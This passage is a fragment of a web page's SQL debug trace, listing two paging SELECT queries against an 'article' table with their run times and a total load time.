  14. SELECT * FROM `article` WHERE `id` < 511043 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.002080s ]
  15. SELECT * FROM `article` WHERE `id` < 511043 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.019755s ]
0.255489s